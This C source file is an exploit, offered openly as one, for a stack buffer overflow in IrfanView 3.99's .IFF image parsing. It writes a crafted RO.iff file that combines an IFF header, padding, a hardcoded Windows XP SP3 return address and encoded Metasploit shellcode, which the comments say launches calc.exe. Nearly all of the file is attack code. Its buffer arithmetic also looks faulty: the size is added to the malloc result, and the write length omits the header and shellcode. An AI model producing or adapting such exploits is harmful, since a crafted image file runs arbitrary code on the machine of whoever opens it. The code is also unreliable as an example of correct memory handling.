irfanviewiff-overflow.txt

`/*Irfan View 3.99 .IFF File Local Stack Buffer Overflow   
This sploit runs calc.exe tested on Win XP Pro sp3;If  
you run it on another vs of Win make sure you chance the   
retaddress,but it works almost all the time so.. .  
Credits for finding the bug and sploit go to fl0 fl0w.  
Gretez to all romanian coderz :) !   
Have a blast ! !   
*/  
#include <stdio.h>  
#include <stdlib.h>  
  
#define SF "RO.iff"  
#define OFFSET 2100  
  
//shellcode from metasploit  
char shellcode[]=  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"  
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x37\x6a\x63"  
"\x58\x30\x42\x30\x50\x42\x6b\x42\x41\x73\x41\x42\x32\x42\x41\x32"  
"\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x38\x69\x69\x6c\x38"  
"\x68\x41\x54\x77\x70\x57\x70\x75\x50\x6e\x6b\x41\x55\x55\x6c\x6e"  
"\x6b\x43\x4c\x66\x65\x41\x68\x45\x51\x58\x6f\x4c\x4b\x50\x4f\x62"  
"\x38\x6e\x6b\x41\x4f\x31\x30\x36\x61\x4a\x4b\x41\x59\x6c\x4b\x74"  
"\x74\x6e\x6b\x44\x41\x4a\x4e\x47\x41\x4b\x70\x6f\x69\x6c\x6c\x4c"  
"\x44\x4b\x70\x43\x44\x76\x67\x4b\x71\x4a\x6a\x66\x6d\x66\x61\x39"  
"\x52\x5a\x4b\x4a\x54\x75\x6b\x62\x74\x56\x44\x73\x34\x41\x65\x4b"  
"\x55\x4e\x6b\x73\x6f\x54\x64\x53\x31\x6a\x4b\x35\x36\x6c\x4b\x64"  
"\x4c\x30\x4b\x6c\x4b\x73\x6f\x57\x6c\x75\x51\x6a\x4b\x6c\x4b\x37"  
"\x6c\x6c\x4b\x77\x71\x68\x6b\x4c\x49\x71\x4c\x51\x34\x43\x34\x6b"  
"\x73\x46\x51\x79\x50\x71\x74\x4c\x4b\x67\x30\x36\x50\x4c\x45\x4b"  
"\x70\x62\x58\x74\x4c\x6c\x4b\x53\x70\x56\x6c\x4e\x6b\x34\x30\x47"  
"\x6c\x4e\x4d\x6c\x4b\x70\x68\x37\x78\x58\x6b\x53\x39\x6c\x4b\x4f"  
"\x70\x6c\x70\x53\x30\x43\x30\x73\x30\x6c\x4b\x42\x48\x77\x4c\x61"  
"\x4f\x44\x71\x6b\x46\x73\x50\x72\x76\x6b\x39\x5a\x58\x6f\x73\x4f"  
"\x30\x73\x4b\x56\x30\x31\x78\x61\x6e\x6a\x78\x4b\x52\x74\x33\x55"  
"\x38\x4a\x38\x69\x6e\x6c\x4a\x54\x4e\x52\x77\x79\x6f\x79\x77\x42"  
"\x43\x50\x61\x70\x6c\x41\x73\x64\x6e\x51\x75\x52\x58\x31\x75\x57"  
"\x70\x63";  
  
char iff1[]=  
"\x46\x4F\x52\x4D\x00\x01\x0B\x7E\x49\x4C\x42\x4D\x42\x4D\x48\x44"  
"\x00\x00\x00\x14\x01\xFD\x01\xB6\x00\x00\x00\x00\x08\x00\x01\x00"  
"\x00\x00\xC7\xC7\x01\xFD\x01\xB6\x43\x4D\x41\x50\x00\x00\x0C\x00"  
"\x1B\x1B\x19\xFF\xFF\xFF\xBC\xD7\xEA\xEF\x64\x2E\x73\xA9\xD2\xD9"  
"\xD9\xD9\x13\x6E\xB6\x00\x68\xB4\x70\x70\x70\xF0\x92\x6C\x2E\xCC"  
"\xCC\xFA\xF2\xE6\x99\x99\x99\x50\x94\xC5\xF1\xE9\xE6\xF7\xAD\x32"  
"\xAC\xB4\xB4\x4D\x4B\x48\xF0\xC9\xB4\xAB\x85\x38\xE0\xE9\xEF\xEC"  
"\xE5\xDE\xEF\xB4\x98\x2E\x80\xBC\xE5\x98\x3A\x8C\x8C\x8C\xEF\xE0"  
"\xD3\xA6\xC4\xD9\x33\x33\x33\x8C\xB6\xD5\xC6\xD5\xDD\xFA\xF7\xF3"  
"\xFE\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x03\xFB\xEF\x3F\x78"  
"\xE8\xFF\x00\xF8\xDF\x00\x03\x04\x10\x40\x41\xE7\x00\xEB\x00\x00"  
"\xC0\xF4\x00\x01\x41\x56\xE7\x00\xDF\x00\x03\x04\x30\x40\xC7\xE7"  
"\x00\xEA\x00\x00\x18\xF7\x00\x03\x03\xE0\x80\x5E\xE7\x00\xC1\x00"  
"\xC1\x00\xC1\x00\xEB\xFF\x01\x7F\xE7\xF7\xFF\x03\xFC\xA7\x7E\x72"  
"\xE8\xFF\x00\xF8\xDD\x00\x01\x01\x64\xE7\x00\xDF\x00\x00\x01\xFF"  
"\x00\x01\x60\x80\xE8\x00\xEB\x00\x00\x80\xF6\x00\x03\x05\xC8\x81"  
"\x6E\xE7\x00\xEB\x00\x01\x40\x10\xF7\x00\x03\x04\xA0\x40\x72\xE7"  
"\x00\xC1\x00\xC1\x00\xC1\x00\xEB\xFF\x01\x3F\x87\xFF\xFF\x00\xDD"  
"\xFC\xFF\x05\xEF\xF7\xFF\xE7\x9E\x66\xE8\xFF\x00\xF8\xEA\x00\x04"  
"\x60\x00\xA0\x22\x01\xFE\x00\x07\x20\x50\x08\x00\x10\x01\x09\x80"  
"\xE8\x00\xEC\x00\x05\x01\x20\x69\x80\xE0\x63\xFF\x03\x04\x01\x80"  
"\x60\x70\x18\xFE\x00\x01\xA8\x80\xE8\x00\xEA\x00\x04\x68\x00\xA0"  
"\x22\x01\xFE\x00\x07\x20\x50\x08\x04\x14\xA1\x89\x80\xE8\x00\xEC"  
"\x00\x05\x01\x00\x18\x80\xA0\x40\xFF\x01\x09\x00\x80\x20\x40\x00"  
"\x06\x04\x80\xA0\x80\xE8\x00\xC1\x00\xC1\x00\xC1\x00\xEC\xFF\x10"  
"\xFE\x3F\x81\x7E\x4D\x97\x38\x73\xB9\xFA\x4F\x2F\xD3\xFF\xF1\x0E"  
"\x67\xE8\xFF\x00\xF8\xEA\x00\x00\x04\xFF\x02\x00\x08\xFF\x00\x08"  
"\x40\x00\x01\x00\x02\x00\x0A\x01\x60\xE7\x00\xEB\x00\x0F\x02\x4A"  
"\xA2\xA0\x48\xC3\x04\x02\x20\xA1\x54\x2A\x00\x02\x20\xF0\xE7\x00"  
"\xEC\x00\x10\x01\xC0\xCE\x83\xB2\xC8\xC7\x0C\x42\x00\xA1\xD0\x6E"  
"\x04\x0A\xF1\xF8\xE7\x00\xEB\x00\x05\x23\xFB\xC2\xE1\xE7\x83\xFF"  
"\x87\x07\xC7\xF1\x78\x7A\x06\x00\x20\xF0\xE7\x00\xC1\x00\xC1\x41";  
  
char iff2[]=  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x48";  
  
char iff3[]=  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41";  
  
int main()  
{  
FILE* k;  
char *buffer;  
int offset=0;  
unsigned int retaddress=0x7C8369F0;  
buffer=(char *)malloc(OFFSET+sizeof(iff2)+sizeof(iff2)+sizeof(iff3))+4+1;  
  
if((k=fopen(SF,"wb"))==NULL)  
{ printf("error"); exit(0); }   
  
memcpy(buffer,iff1,sizeof(iff1));  
offset=sizeof(iff1);  
memcpy(buffer+offset,iff2,sizeof(iff2));   
offset+=sizeof(iff2);  
memcpy(buffer+offset,iff3,sizeof(iff3));  
offset+=sizeof(iff3);  
offset=0;  
offset=OFFSET;  
memcpy(buffer+offset,&retaddress,4);  
offset+=4;  
memcpy(buffer+offset,shellcode,sizeof(shellcode));  
fwrite( buffer, 1,sizeof(iff2)+sizeof(iff2)+sizeof(iff3)+1, k );  
printf("|--------------------------------------------------------------------------|\n");  
printf("Irfan View 3.99 .IFF File Local Stack Buffer Overflow \n");  
printf("Credits for finging the bug and sploit go to fl0 fl0w\n");  
printf(".IFF file done.. open with Irfan View and have a blast! \n" );  
printf("|--------------------------------------------------------------------------|\n");  
fclose(k);  
return 0;  
  
}  
  
`